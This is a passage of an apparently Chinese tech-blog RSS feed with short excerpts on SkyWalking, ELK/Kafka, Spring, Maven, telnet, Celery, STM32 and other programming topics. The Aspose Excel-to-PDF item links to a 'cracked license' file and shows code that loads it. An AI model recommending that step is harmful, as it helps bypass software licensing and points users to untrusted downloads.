apache-skywalking-apm-9.4.0.tar.gz -C /usr/local tar -zxvf apache-skywalking-java-agent-8.15.0.tgz -C /usr/local 3. 配置SkyWalking OAP 避免端口冲突，更换 SkyWalking UI界面默认8080端口：&#xA;cd apache-skywalking-apm-bin 查看目录&#xA;ll 编辑yml文件，以8100端口为例：&#xA;vi webapp/application.yml 默认内存模式，更改为MySQL连接&#xA;vi config/application.yml :set number 可查看行号&#xA;大概133 行 修改h2为mysql&#xA;storage: selector: ${SW_STORAGE:mysql} 大概183-194行，确认MySQL连接信息（地址、账号、密码），记得新建数据库。&#xA;mysql: properties: jdbcUrl: ${SW_JDBC_URL:&#34;jdbc:mysql://localhost:3306/swtest?rewriteBatchedStatements=true&#34;} dataSource.</description>
    </item>
    <item>
      <title>c盘突然多了了几十个G临时文件怎么清理？</title>
      <link>https://bchobby.github.io/posts/6ae65d49c13d2f0bf90e5d3e9a983afe/</link>
      <pubDate>Sat, 20 May 2023 15:45:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ae65d49c13d2f0bf90e5d3e9a983afe/</guid>
      <description>最近有部分用户在整理电脑的时候，发现C盘莫名其妙多了几十个G的临时文件，C盘直接爆红了，这该怎么办？要如何处理这些临时文件呢？下面就来看看详细的清理方法吧。&#xA;纯净之家-win7纯净版系统_win7 ghost 纯净版&#xA;临时文件被保留的原因：程序可能在完成安装前被中断，或在重新启动时崩溃。&#xA;在进行网上冲浪时也会创建临时文件。下载和安装卸载软件，打开电子邮件和即时消息程序中的文件或传输文件时都会创建临时文件。通常创建临时文件的程序会在完成时将其删除，但有时候这些文件会被保留。&#xA;通常而言，这个文件夹中的所有文件都可以放心地删除。有时，一些文件正在使用而不能删除，可以重新启动计算机后立即删除它们。&#xA;c盘清理注意事项：&#xA;在清理C盘的过程中，很多人对这些文件不了解，可能会误删系统文件或者是软件安装文件，导致后期系统无法正常开启或者是软件无法正常使用。&#xA;因此在清理C盘的过程中需要知道Windows与DocumentsandSettings中的文件都是系统重要文件，删掉的话可能会影响系统开启，在清理C盘的时候需要注意不要误删这类文件。&#xA;c盘无故产生几十个G临时文件怎么清理？&#xA;方法一：缓存清理&#xA;1、Win10自带了缓存清理功能，我们单机桌面左下角开始键，点击小齿轮进入设置。&#xA;2、在设置中输入“存储设置”查找并打开。&#xA;3、接着选择“配置存储感知或立即运行”。&#xA;4、选择“立即清理”就可以清理缓存了，还可以自己设置定期清理时间。&#xA;方法二：重建搜索索引&#xA;1、在window设置中（点击左下角“小齿轮进入，具体操作看第一步的图）直接搜索“索引选项”&amp;gt;点击“高级”。&#xA;2、选择“重建”重置索引大小。并且可以通过“选择新的位置”把它移到别的分区来节约C盘空间。&#xA;方法三：程序管理&#xA;1、来到“储存”界面，点击“应用和功能”。&#xA;2、将“筛选条件”设置为“window10 C：”，这样c盘中下载的第三方软件和空间占用就非常清晰了，平时被捆绑的一些软件或者有一些空间占用大却暂时用不到的软件就可以在这里一一删除。&#xA;方法四：系统文件夹转移&#xA;1、在“储存选项”中，点击“更多储存设置”，选择“更改新内容保存位置 ”，选择其他盘如F盘，然后点击“应用”。这样就能将新内容保存在其他盘上，腾出c盘空间。&#xA;2、对于C盘中现有的内容，可以通过手动转移的办法：打开“此电脑”我们可以看到“文档”、“下载”、“桌面”等文件夹。它们目前默认的路径都是C盘。在“文档”上点开右键，选择“属性”，然后在菜单中选择“位置”，最后再选择“移动”。&#xA;3、然后我们需要在指定一个存放位置，选择“更改新内容”时保存的位置，选中F盘下的同名文件夹，原来C盘中的文档就会自动转移到这里了。（进行移动操作前，需要提前建立好一个文件夹）&#xA;方法五：常用程序缓存迁移&#xA;1、一些常用软件的缓存路径都会默认保存在c盘，例如微信，我们可以打开微信左下角的“更多”-选择“设置”。&#xA;2、在“通用设置”中就可以看到聊天记录的缓存了，可以将这些缓存删除来节省空间，也可以将聊天记录手动备份在其他盘。&#xA;3、再将“文件管理”中的文件保存路径改到其他盘，这样微信下载的文件就不会下载到c盘了，其他软件应用也是如此。&#xA;方法六：关闭系统休眠功能&#xA;1、左下角开始菜单栏上右键&amp;gt;选择搜索》输入cmd》在【命令提示符】上右键选择“以管理员方式运行”。&#xA;2、接着在弹出的命令行中输入：powercfg -h off，回车就可以关闭系统休眠功能了。（开启休眠功能需输入命令：powercfg -h on）。</description>
    </item>
    <item>
      <title>elk&#43;kafka基本</title>
      <link>https://bchobby.github.io/posts/dfe3d4d7ec0099482e7afbae3ffe40f3/</link>
      <pubDate>Sat, 20 May 2023 11:40:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfe3d4d7ec0099482e7afbae3ffe40f3/</guid>
      <description>ELK&#xA;elk + kafka + filebeat 企业内部日志分析系统&#xA;elk由ElasticSearch（依莱芙斯塔rua弛）（简称es）logstash（老歌丝带吃）和kibana三个开源工具组成&#xA;logstash 收集日志（在java上跑） es 搜索分析 kibana web页面展示&#xA;es特点 分布式 配置简洁 自动发现 索引自动分片 索引副本机制 多数据源 由java开发&#xA;logstash 带有一个web页面 只收集过滤日志 和改格式&#xA;logstash 整个工作流程分为三个阶段 输入 过滤 输出 input 负责产生事件 filter 负责处理数据和转换 output 负责数据输出&#xA;kibana es前端展示工具&#xA;head侦测es是否收到过滤的日志 用于排查错误&#xA;kafka&#xA;数据缓冲队列 消息队列 具有高吞吐量（峰值处理几十万消息）高并发（支持数千用户同时读写） 冗余 削峰 解耦 异步通信等功能&#xA;kafka 是一个分布式 支持分区 多副本基于zookeeper协调的分布式消息系统&#xA;kafka组件 话题（特定类型的信息流） 生产者（能够发布消息到话题的任何对象）消费者（可以订阅一个或多个话题）服务代理（已发布的消息保存在一组服务器中 被陈我给代理或kafka集群）zookeeper（kafka通过组k波存储集群信息）&#xA;kafka中 一个话题topic会被分成多个区partition并被分到多个服务代理broker上 分区信息及broker分布情况与消费者当前状态信息会被保存在zookeeper中&#xA;zookeeper是一个分布式协调服务 主要作用是为分布式系统提供一致性服务 提供包括配置维护 分布式同步等 kafka运行依赖于zookeeper zookeeper主要用来协调kafka的各个服务代理 可以实现服务代理的负载均衡 增加集群高可用&#xA;filebeat收集日志</description>
    </item>
    <item>
      <title>python-pycharm添加外部工具</title>
      <link>https://bchobby.github.io/posts/3f444ad4aff4db6a1d79a4390b5f7c04/</link>
      <pubDate>Sat, 20 May 2023 11:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f444ad4aff4db6a1d79a4390b5f7c04/</guid>
      <description>1.pyside6-designer&#xA;D:\Program Files\Python39\Scripts\pyside6-designer.exe&#xA;$ProjectFileDir$&#xA;2.ui文件转py文件&#xA;D:\Program Files\Python39\Scripts\pyside6-uic.exe&#xA;$FileName$ -o $FileNameWithoutExtension$.py&#xA;$FileDir$&#xA;3.rcc文件转py文件&#xA;D:\Program Files\Python39\Scripts\pyside6-rcc.exe&#xA;$FileName$ -o $FileNameWithoutExtension$.py&#xA;$FileDir$</description>
    </item>
    <item>
      <title>在spring中如何在xml配置中加载properties文件</title>
      <link>https://bchobby.github.io/posts/5d36f7bd4e4e5380f22a24a82c6471cb/</link>
      <pubDate>Fri, 19 May 2023 22:04:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d36f7bd4e4e5380f22a24a82c6471cb/</guid>
      <description> 在Spring中，你可以使用PropertyPlaceholderConfigurer来加载和解析properties文件。以下是在XML配置中加载properties文件的步骤：&#xA;假设我们有一个jdbc.properties的配置文件：&#xA;jdbc.driver=com.mysql.jdbc.Driver jdbc.url=jdbc:mysql://localhost:3306/ssm753as jdbc.username=root jdbc.password=123456 首先，在XML配置文件中引入context命名空间，如下所示：&#xA;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:context=&#34;http://www.springframework.org/schema/context&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd&#34;&amp;gt; 然后，在XML配置文件中添加PropertyPlaceholderConfigurer bean的定义，指定要加载的properties文件路径，例如：&#xA;&amp;lt;context:property-placeholder location=&#34;classpath:jdbc.properties&#34; /&amp;gt; 最后，你可以通过${}语法在其他bean定义中使用properties文件中的属性值，例如：&#xA;&amp;lt;bean id=&#34;dataSource&#34; class=&#34;com.alibaba.druid.pool.DruidDataSource&#34;&amp;gt; &amp;lt;property name=&#34;driverClassName&#34; value=&#34;${jdbc.driver}&#34; /&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${jdbc.url}&#34; /&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${jdbc.username}&#34; /&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${jdbc.password}&#34; /&amp;gt; &amp;lt;/bean&amp;gt; </description>
    </item>
    <item>
      <title>java boot项目基础配置之设置启动端口</title>
      <link>https://bchobby.github.io/posts/05f6f1972e6c7cb00f2f0d64dc39fc24/</link>
      <pubDate>Fri, 19 May 2023 22:02:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05f6f1972e6c7cb00f2f0d64dc39fc24/</guid>
      <description>因为 springboot 项目是一个内嵌的tomcat 那么 我们就来研究一下 怎么改它的启动端口&#xA;其实 它的配置 还是非常多的 我们基础部分讲一下 后面 到实用部分 再一边用 一边再看一些&#xA;首先 我们如果不设置 他就会占用 我们的 8080端口 那么 我们最好就直接用 80端口 就不用输入端口了 因为 你ip后面不带端口 他就会默认取访问 80端口&#xA;那么 问题来了 内嵌的tomcat 没有xml了 那么 怎么配？&#xA;这里 注意 我们 boot 工程 配置文件都在 resources 里面&#xA;打开下面的application.properties 我们会发现 空的&#xA;这个文件是一个键值对格式&#xA;我们可以这样写&#xA;# 设置当前项目运行在本机80端口上 server.port=80 很明显 # 是他的注释方式 我们上面写了行注释 然后 配置端口 运行到 80端口&#xA;那么 能不能用呢？&#xA;我们试试&#xA;启动项目&#xA;可以看到 这里打印的是没什么问题的 我们试着访问他&#xA;可以看到 我们不带端口号还有访问 80端口&#xA;都是没有问题的 因为 不带80 和之间用 80 访问的其实都是80端口</description>
    </item>
    <item>
      <title>Java泛型详解</title>
      <link>https://bchobby.github.io/posts/76c5242f74d1014e66d29ea9cab7dff5/</link>
      <pubDate>Fri, 19 May 2023 19:07:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76c5242f74d1014e66d29ea9cab7dff5/</guid>
      <description>写在开头:想必大家和博主一样，在以往学习JavaSE的语法中，遇到了一个陌生的词——泛型，博主当时很好奇，什么是泛型呢？即使是学完了JavaSE，这个问题都没有解决，只能在百度查阅了解关于泛型的一些皮毛。却不成想，在数据结构的第一课就接触到了这个问题，为了能帮助大家简单的认识泛型，博主通过学习以及查阅诸多资料，决定写下本篇博客并分享给大家，希望能够帮助到和博主当时有一样困境的小伙伴，同时博主也在持续更新各方面的知识内容，欢迎大家动动手指点个关注，第一时间阅读博主的分享内容！&#xA;同时博主也毫不夸张的说，泛型是通用设计上必不可少的元素，所以真正理解与正确使用泛型，是一门必修课。接下来和博主一起学习吧！&#xA;本文内容概要： 一、泛型的本质二、包装类2.1 基本数据类型2.2 装箱与拆箱 三、泛型与泛型类的使用3.1泛型语法3.2使用举例3.3泛型类 四、泛型编译机制4.1擦除机制4.2提出问题 五、泛型上界5.1语法5.2实例 泛型进阶 一、泛型的本质 我们有没有想过：实现一个类，可以放入任意类型的数据，同时也可以根据成员方法来返回对应下标的值？以往的学习过程中，我们对数组的使用是刻板的，只能单一的放入指定类型元素，我们会发现这种数组是对代码充满了束缚。所以在JDK1.5以后，我们的前辈提出了泛型这一概念来实现对类型的参数化。&#xA;泛型的实质在于：指定当前的容器，他存储的对象应该是什么类型，然后通过编译器去检查，所以我们需要将类型作为参数进行传递&#xA;在介绍泛型的使用之前，我们先介绍包装类以及装箱、拆箱的有关知识，以便于我们可以深入学习泛型知识&#xA;二、包装类 2.1 基本数据类型 在Java中，由于基本类型不是继承自Object，为了在泛型代码中可以支持基本类型，Java给每个基本类型都对应一个包装类型。对于基本数据类型来说，除int、char以外其他基本类型都是将基本数据类型首字母大写，而int、char对应的包装类型为Integer、Character，而每个包装类底下也对应着诸多方法，我们不在此过多叙述，可以参考博主其他博客进行参考学习&#xA;2.2 装箱与拆箱 public class Fx { int i = 10; // 装箱操作，新建一个 Integer 类型对象，将 i 的值放入对象的某个属性中 Integer A = Integer.valueOf(i); Integer B = new Integer(i); // 拆箱操作，将 Integer 对象中的值取出，放到一个基本数据类型中 int j = A.intValue(); } 当然，我们在日常的使用中是不这样写的，因为上述的装箱与拆箱会为开发者增加不少代码量，显的比较繁琐，于是Java又引申出了自动装箱与自动拆箱的语法，如下所述：&#xA;int i = 10; Integer A = i; // 自动装箱 Integer B = (Integer)i; // 自动装箱 int j = A; // 自动拆箱 int k = (int)B; // 自动拆箱 相信各位老铁看到这里也不需要过多说明已经明白了装箱以及拆箱，接下来让我们去了解了解泛型究竟是个什么样的神奇语法！</description>
    </item>
    <item>
      <title>maven的概念与一个实例</title>
      <link>https://bchobby.github.io/posts/74ff69fc1f4048c3121bf58daa542f9a/</link>
      <pubDate>Fri, 19 May 2023 17:07:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74ff69fc1f4048c3121bf58daa542f9a/</guid>
      <description>注：使用maven需要先安装，安装官网网址https://maven.apache.org/download.cgl。&#xA;maven是一个项目管理工具。&#xA;可以管理项目需要的.jar文件（.jar文件里有项目需要用到的类），&#xA;自动下载jar和它的文档，可以管理jar版本，&#xA;还能编译程序，测试代码是否正确（可以同时编译多个文件，javac一次只能编译一个文件），且会生成的测试的报告，&#xA;还能打包文件，把所有的.class文件、配置文件等所有资源放到一个压缩文件中，这个压缩文件就是项目的结果文件，形成.jar文件（java程序）或者.war文件（web应用），&#xA;还能部署文件。&#xA;把生成的.jar文件或.war文件安装到仓库，就可以运行。&#xA;1.maven的核心概念&#xA;一个手动创建的maven项目实例：&#xA;（1）使用maven工程约定的目录结构&#xA;比如一个maven项目Hello:&#xA;上图中除了pom.xml其它都是指文件夹。&#xA;（2）配置pom.xml文件&#xA;（3）在main文件夹下加了.java文件后，在pom.xml所在文件夹打开cmd,使用mvn compile指令。该指令编译src/main目录下的所有.java文件，并且下载需要的.jar文件。&#xA;jar文件在maven中叫做插件（maven工具执行的操作需要很多插件），默认下载位置（称为默认仓库）是&#xA;若你的java文件中的代码有误还会报错：&#xA;修改之后显示如下则编译成功：&#xA;mvn compile命令执行成功后会生成一个target文件夹&#xA;target文件夹下的classes文件夹中含有编译后的.class文件：&#xA;3.maven使用的两种方式</description>
    </item>
    <item>
      <title>Linux安装telnet服务、telnet 命令用法</title>
      <link>https://bchobby.github.io/posts/0fc463eff15009ebcd3e33b62f60e8ef/</link>
      <pubDate>Fri, 19 May 2023 15:57:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fc463eff15009ebcd3e33b62f60e8ef/</guid>
      <description>前言 环境：centos 7.9&#xA;Telnet命令经常被用于测试远程端口通不通，telnet命令既可以在Windows下使用，也可以在Linux下使用。&#xA;Windows下使用telnet命令 开启telnet客户端步骤：控制面板–程序和功能–启用或关闭Windows功能–Telnet客户端 打钩&#xA;win+r --输入cmd 打开cmd命令窗口–输入：telnet 192.168.43.179 10050&#xA;Linux下使用telnet命令 [root@nginx /]# yum install telnet [root@nginx /]# telnet 192.168.43.179 10050 Trying 192.168.43.179... Connected to 192.168.43.179. Escape character is &#39;^]&#39;.&#x9;#这里的&#39;^]&#39;表示你要按Ctrl+] 才能进入Telnet命令行模式 telnet&amp;gt; Connection closed by foreign host. [root@nginx /]# Linux服务服务器安装telnet服务 [root@node2 ~]# yum -y install telnet*&#x9;#安装telnet-server服务 [root@node2 ~]# yum -y install xinetd&#x9;#安装xinetd #telnet服务安装之后，默认是不开启服务，修改文件/etc/xinetd.d/telnet来开启telnet服务 [root@node2 ~]# cd /etc/xinetd.d/&#x9;#进入telnet服务配置文件目录，默认是没有telnet文件的，需要创建一个 [root@node2 xinetd.d]# ll total 44 -rw------- 1 root root 1157 Apr 1 2020 chargen-dgram -rw------- 1 root root 1159 Apr 1 2020 chargen-stream -rw------- 1 root root 1157 Apr 1 2020 daytime-dgram -rw------- 1 root root 1159 Apr 1 2020 daytime-stream -rw------- 1 root root 1157 Apr 1 2020 discard-dgram -rw------- 1 root root 1159 Apr 1 2020 discard-stream -rw------- 1 root root 1148 Apr 1 2020 echo-dgram -rw------- 1 root root 1150 Apr 1 2020 echo-stream -rw------- 1 root root 1212 Apr 1 2020 tcpmux-server -rw------- 1 root root 1149 Apr 1 2020 time-dgram -rw------- 1 root root 1150 Apr 1 2020 time-stream [root@node2 xinetd.</description>
    </item>
    <item>
      <title>celery如何调用类方法(self传参问题)，以及调用的类方法继承其他函数时，celery无法将任务运行起来</title>
      <link>https://bchobby.github.io/posts/fe82a6849ad20f46043e269cbe21c1be/</link>
      <pubDate>Fri, 19 May 2023 15:39:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe82a6849ad20f46043e269cbe21c1be/</guid>
      <description>class ABCD: def create_urls(self) -&amp;gt; []: pass def parse_the_list_page(self): pass def parse_details_page(self): pass def start_spider(self, max_workers: int = 16): print(&#39;ojbk：&#39;, self) self.create_urls() self.parse_the_list_page() self.parse_details_page() 问题1：&#xA;celery直接调用start_spider时候，无法传入self参数，可以通过另外建立一个方法，用来调用爬虫的start_spider，例如：&#xA;@app.task def spider(): ABCD().start_spider() 问题2：&#xA;当celery调用爬虫时，爬虫的类方法里面存在有logger模块时，使用logger.add方法会导致celery无法调用爬虫，需要将logger.add方法去掉即可</description>
    </item>
    <item>
      <title>Springboot EXCEL转换为PDF——aspose方式</title>
      <link>https://bchobby.github.io/posts/9395f762d3ce8414f636e2105a03a32b/</link>
      <pubDate>Fri, 19 May 2023 15:29:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9395f762d3ce8414f636e2105a03a32b/</guid>
      <description>Springboot EXCEL转换为PDF——aspose方式 一、准备相关资源 1.下载Excel转PDF需要的aspose包 [网盘地址](https://pan.baidu.com/s/1q-CYzdDWqJPgO0331GgoOw) 提取码：uwyx 2.下载aspose破解license文件 网盘链接：https://pan.baidu.com/s/1Mq2XPMhOcXACsAwQyHYREA&#xA;提取码：211b&#xA;二、配置maven依赖 1. 将下载下来的jar包放在项目的根目录的lib文件夹下 2. 将下载下来的license.xml放在根目录的resources下 3.添加maven依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.aspose&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspose-cells&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.5.2&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt; &amp;lt;systemPath&amp;gt;${project.basedir}/lib/aspose-cells-8.5.2.jar&amp;lt;/systemPath&amp;gt; &amp;lt;/dependency&amp;gt; 三、创建java文件并编写代码 public class Word2PdfAsposeUtil { public static boolean getLicenseExcel() { boolean result = false; InputStream is = null; try { ResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); org.springframework.core.io.Resource[] resources = resolver.getResources(&#34;classpath:license.xml&#34;); is = resources[0].getInputStream(); com.aspose.cells.License aposeLic = new com.aspose.cells.License(); aposeLic.setLicense(is); result = true; } catch (Exception e) { e.printStackTrace(); } finally { if (is !</description>
    </item>
    <item>
      <title>webstorm vue3&#43;ts报错:Cannot find module ‘@/views/xxx.vue‘ or its corresponding type declarations</title>
      <link>https://bchobby.github.io/posts/7981011679d45606634737b9a0225479/</link>
      <pubDate>Fri, 19 May 2023 14:18:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7981011679d45606634737b9a0225479/</guid>
      <description>意思是说找不到对应的模块“@/views/xxx.vue”或其相应的类型声明&#xA;因为ts只能解析 .ts 文件，无法解析 .vue文件&#xA;解决方法很简单，一开始的时候env.d.ts是空文件，我们可以在项目的env.d.ts中引入如下代码：&#xA;declare module &#39;*.vue&#39; { import { DefineComponent } from &#34;vue&#34; const component: DefineComponent&amp;lt;{}, {}, any&amp;gt; export default component } 加入上面的代码，就不报错了。</description>
    </item>
    <item>
      <title>Observability：使用 Elastic Agent 来摄入日志及指标 - Elastic Stack 8.0</title>
      <link>https://bchobby.github.io/posts/b3f36b0096d018cb550c7a216dd14c21/</link>
      <pubDate>Fri, 19 May 2023 11:28:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3f36b0096d018cb550c7a216dd14c21/</guid>
      <description>如果你已经安装过最近的 Elastic Stack 的话，你可能已经发现 Beats 已经不是推荐的数据摄入方式，取而代之的是 Elastic Agent。我们可以看一下如下的图：&#xA;上图展示的是 Elastic Stack 整体的栈的结构图。我们会发现其中最重要的一个变化是使用了 Integrations 而不是之前的 Beats 和 Logstash，尽管它们仍然适用。也就是推荐的办法是使用 Integration 来摄入数据。我们之前使用 Beats 来采集数据的架构是这样的：&#xA;所有的 Beats 的数据都可以发送至 Elasticsearch。它们都分别进行配置，但是不能在 Kibana 中进行集中管理和配置。&#xA;什么是 integration（集成）？&#xA;Elastic 集成是一组资产，定义了如何使用 Elastic Stack 观察特定产品或服务：&#xA;数据摄取、存储和转换规则设置选项预构建的自定义仪表板和可视化文档测试 集成具有严格、定义明确的结构，并提供许多优于其他摄取选项的优势：&#xA;围绕被观察的服务构建 — 而不是监控代理简单、不易出错的配置用户安装的监控代理更少只需点击几下即可部署从 Elastic Stack 解耦发布过程 使用 Elastic Agent 来采集数据可以给我带来如下的好处：&#xA;我们使用一个 Elastic Agent，但是它可以代替我们在之前的许多的 Beats：&#xA;以 Elastic Agent 为基础的数据摄入架构如下：&#xA;在今天的文章中，我们将介绍如何使用 Fleet 来设置 Elastic Agent 并摄入需要的数据。你将了解：&#xA;配置 Fleet使用 Elastic Agent 来发送数据到 Elastic Stack监控整个公司的系统和服务的日志和指标 我们可以通过 Fleet 来对 Elastic Agents 进行集中管理和配置。 在每一个 Elastic Agent 中，它是实现了如下的功能：</description>
    </item>
    <item>
      <title>解决echarts图形没有及时清除更新，清空重绘问题</title>
      <link>https://bchobby.github.io/posts/c170683a0e9713545efa8291754f9bcc/</link>
      <pubDate>Fri, 19 May 2023 11:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c170683a0e9713545efa8291754f9bcc/</guid>
      <description> var chartDom = document.getElementById(id); var myChart = echarts.init(chartDom); var option = { //略 } myChart.clear();&#x9;//清除 window.onresize = myChart.resize; //防止越界，重绘canvas option &amp;amp;&amp;amp; myChart.setOption(option); </description>
    </item>
    <item>
      <title>C语言中u8,u16,u32的详解</title>
      <link>https://bchobby.github.io/posts/d47b729a604dd814809f12adfc4ea6c4/</link>
      <pubDate>Fri, 19 May 2023 10:04:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d47b729a604dd814809f12adfc4ea6c4/</guid>
      <description> 一、代表意思&#xA;1、u8 ：无符号char字符类型&#xA;2、u16：无符号short短整形&#xA;3、u32：无符号int整数leixing&#xA;二、举个例子&#xA;typedef signed char int8_t; // 标准表达方式 signed char 被等同于 int8_t； typedef signed short int int16_t; typedef signed int int32_t;//在32位环境里，int代表4个字节32位！！ typedef signed __int64 int64_t; typedef unsigned char uint8_t; typedef unsigned short int uint16_t; typedef unsigned int uint32_t; typedef unsigned __int64 uint64_t; typedef uint32_t u32;///32位 typedef uint16_t u16;///16位 typedef uint8_t u8;///8位 </description>
    </item>
    <item>
      <title>stm32使用C标准库printf函数</title>
      <link>https://bchobby.github.io/posts/c2438edfc752816a2df4e7fddbd79c88/</link>
      <pubDate>Fri, 19 May 2023 01:30:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2438edfc752816a2df4e7fddbd79c88/</guid>
      <description>我们都知道 C 语言中printf 函数默认输出设备是显示器，如果要实现在串口或者 LCD 上显示，必须重定义标准库函数里调用的与输出设备相关的函数。&#xA;比如使用 printf 输出到串口，需要将 fputc 里面的输出指向串口，这一过程就叫重定向。&#xA;在stm32中只需要将fputc里边的输出指向STM32的串口即可，代码如下：&#xA;int fputc(int ch,FILE *p) //函数默认的，在使用 printf 函数时自动调用 { HAL_UART_Transmit(&amp;amp;huart1, (uint8_t *)&amp;amp;ch, 1, 0xFFFF); return ch; } 如果要让其他的串口也使用 printf 函数，只需要修改下串口号即可。&#xA;这样就可以使用stm32串口输出中使用printf函数。&#xA;例如&#xA;printf(&#34;请输入数据，以回车键结束\r\n&#34;); 在串口监视器中可以看到&#xA;需要注意的是&#xA;在KEIL中使用printf一定要勾选“微库”选项，否则不会输出&#xA;配置如下：&#xA;在STM32 程序开发中 printf 应用是非常广的，当我们需要查看某些变量数值或者其他信息等， 都可以通过 printf 打印到串口调试助手上查看。&#xA;参考 STM32实例-printf 重定向</description>
    </item>
    <item>
      <title>链路追踪</title>
      <link>https://bchobby.github.io/posts/acee2a62cf5a6c4d273c4e2d3ee1196c/</link>
      <pubDate>Thu, 18 May 2023 21:32:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acee2a62cf5a6c4d273c4e2d3ee1196c/</guid>
      <description>1、链路追踪介绍 在大型系统的微服务化构建中，一个系统被拆分成了许多模块。这些模块负责不同的功能，组合成系统，最终可以提供丰富的功能。在这种架构中，一次请求往往需要涉及到多个服务。互联网应用构建在不同的软件模块集上，这些软件模块，有可能是由不同的团队开发、可能使用不同的编程语言来实现、有可能布在了几千台服务器，横跨多个不同的数据中心。&#xA;2.为什么需要链路追踪? 微服务架构是通过业务来划分服务的，使用 REST 调用。对外暴露的一个接口，可能需要很多个服务协同才能完成这个接口功能，如果链路上任何一个服务出现问题或者网络超时，都会形成导致接口调用失败。随着业务的不断扩张，服务之间互相调用会越来越复杂。&#xA;分布式链路追踪（Distributed Tracing），就是将一次分布式请求还原成调用链路，进行==日志记录==，==性能监控==并将一次分布式请求的调用情况集中展示。比如各个服务节点上的耗时、请求具体到达哪台机器上IP、每个服务节点的请求状态200 500等等。&#xA;3.链路追踪使用的组件有哪些? cat 由大众点评开源，基于Java开发的实时应用监控平台，包括实时应用监控，业务监控 。 集成 方案是通过代码埋点的方式来实现监控，比如： 拦截器，过滤器等。 对代码的侵入性很大，集成成本较高。风险较大。&#xA;zipkin 由Twitter公司开源，开放源代码分布式的跟踪系统，用于收集服务的定时数据，以解决微 服务架构中的延迟问题，包括：数据的收集、存储、查找和展现《图形化》。该产品结合spring-cloud-sleuth 使用较为简单， 集成很方便， 但是功能较简单。&#xA;pinpoint Pinpoint是韩国人开源的基于字节码注入的调用链分析，以及应用监控分析工具。特点 是支持多种插件，UI功能强大，接入端无代码侵入。&#xA;SkyWalking是本土开源的基于字节码注入的调用链分析，以及应用监控分析工具。特点是支持多 种插件，UI功能较强，接入端无代码侵入。目前已加入Apache孵化器。&#xA;Sleuth （日志记录每一条链路上的所有节点，以及这些节点所在的机器，和耗时。）&#xA;log4j SpringCloud 提供的分布式系统中链路追踪解决方案。&#xA;注意：SpringCloud alibaba技术栈中并没有提供自己的链路追踪技术的，我们可以采用Sleuth + Zipkin来做链路追踪解决方案。&#xA;3.介绍sleuth springCloud Sleuth主要功能就是在分布式系统中提供追踪解决方案。&#xA;它大量借用了Google Dapper的设计， 先来了解一下Sleuth中的术语&#xA;和相关概念。&#xA;*1.Trace* *(一条完整链路--包含很多span(微服务接口))*&#xA;由一组Trace Id（贯穿整个链路）相同的Span串联形成一个树状结&#xA;构。为了实现请求跟踪，当请求到达分布式系统的入口端点时，只需&#xA;要服务跟踪框架为该请求创建一个唯一的标识（即TraceId），同时在&#xA;分布式系统内部流转的时候，框架始终保持传递该唯一值，直到整个&#xA;请求的返回。那么我们就可以使用该唯一标识将所有的请求串联起&#xA;来，形成一条完整的请求链路。&#xA;*2.Span*&#xA;代表了一组基本的工作单元。为了统计各处理单元的延迟，当请求到&#xA;达各个服务组件的时候，也通过一个唯一标识（SpanId）来标记它的&#xA;开始、具体过程和结束。通过SpanId的开始和结束时间戳，就能统计&#xA;该span的调用时间，除此之外，我们还可以获取如事件的名称。请求&#xA;信息等元数据。&#xA;*3. Annotation*&#xA;用它记录一段时间内的事件，内部使用的重要注释：&#xA;l cs（Client Send）客户端发出请求，开始一个请求的命令&#xA;l sr（Server Received）服务端接受到请求开始进行处理， sr－cs =</description>
    </item>
    <item>
      <title>python</title>
      <link>https://bchobby.github.io/posts/23eeeb4347bdd26bfc6b7ee9a3b755dd/</link>
      <pubDate>Thu, 18 May 2023 20:06:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23eeeb4347bdd26bfc6b7ee9a3b755dd/</guid>
      <description>Python 可以方便的实现计算器的功能。数学意义上的加、减、乘、除在Python中分别以符号“+、-、*、/”表示。&#xA;试编程实现分两行输入两个非零浮点数，并在4 行中按顺序输出两个数的加、减、乘、除的计算式和计算结果。计算结果str.format()方法严格保留小数点后3位数字。要求输出与如下示例格式相同，符号前后各有一个空格。&#xA;浮点数1 + 浮点数2 = 和 浮点数1 - 浮点数2 = 差 浮点数1 * 浮点数2 = 积 浮点数1 / 浮点数2 = 商&#xA;示例 输入:&#xA;2.66 3.1415926&#xA;输出: 2.66 + 3.1415926 = 5.802 2.66 - 3.1415926 = -0.482 2.66 * 3.1415926 = 8.357 2.66 / 3.1415926 = 0.847&#xA;a= float(input()) b= float(input()) print(f&#39;{a} + {b} = {a + b:.3f}&#39;) print(f&#39;{a} - {b} = {a - b:.3f}&#39;) print(f&#39;{a} * {b} = {a * b:.</description>
    </item>
    <item>
      <title>国内最佳的Respond.io替代品——SaleSmartly（ss客服）</title>
      <link>https://bchobby.github.io/posts/be24f3a0d5c2c36fda057831f2f2ec4b/</link>
